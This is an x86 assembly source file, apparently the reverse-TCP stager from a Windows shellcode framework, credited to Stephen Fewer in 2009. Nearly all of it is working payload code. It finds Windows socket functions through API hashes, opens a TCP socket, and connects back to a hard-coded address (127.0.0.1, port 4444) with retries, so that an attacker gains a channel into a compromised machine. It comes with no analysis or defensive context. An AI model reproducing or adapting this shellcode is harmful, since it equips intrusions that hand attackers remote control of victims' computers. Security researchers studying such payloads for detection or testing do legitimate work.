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;-----------------------------------------------------------------------------;
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
; Version: 1.0 (24 July 2009)
;-----------------------------------------------------------------------------;
[BITS 32]
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
reverse_tcp:
push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
push 0x5F327377 ; ...
push esp ; Push a pointer to the "ws2_32" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "ws2_32" )
mov eax, 0x0190 ; EAX = sizeof( struct WSAData )
sub esp, eax ; alloc some space for the WSAData structure
push esp ; push a pointer to this stuct
push eax ; push the wVersionRequested parameter
push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" )
call ebp ; WSAStartup( 0x0190, &WSAData );
push eax ; if we succeed, eax wil be zero, push zero for the flags param.
push eax ; push null for reserved parameter
push eax ; we do not specify a WSAPROTOCOL_INFO structure
push eax ; we do not specify a protocol
inc eax ;
push eax ; push SOCK_STREAM
inc eax ;
push eax ; push AF_INET
push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" )
call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
set_address:
push byte 0x05 ; retry counter
push 0x0100007F ; host 127.0.0.1
push 0x5C110002 ; family AF_INET and port 4444
mov esi, esp ; save pointer to sockaddr struct
try_connect:
push byte 16 ; length of the sockaddr struct
push esi ; pointer to the sockaddr struct
push edi ; the socket
push 0x6174A599 ; hash( "ws2_32.dll", "connect" )
call ebp ; connect( s, &sockaddr, 16 );
test eax,eax ; non-zero means a failure
jz short connected
handle_failure:
dec dword [esi+8]
jnz short try_connect
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
connected: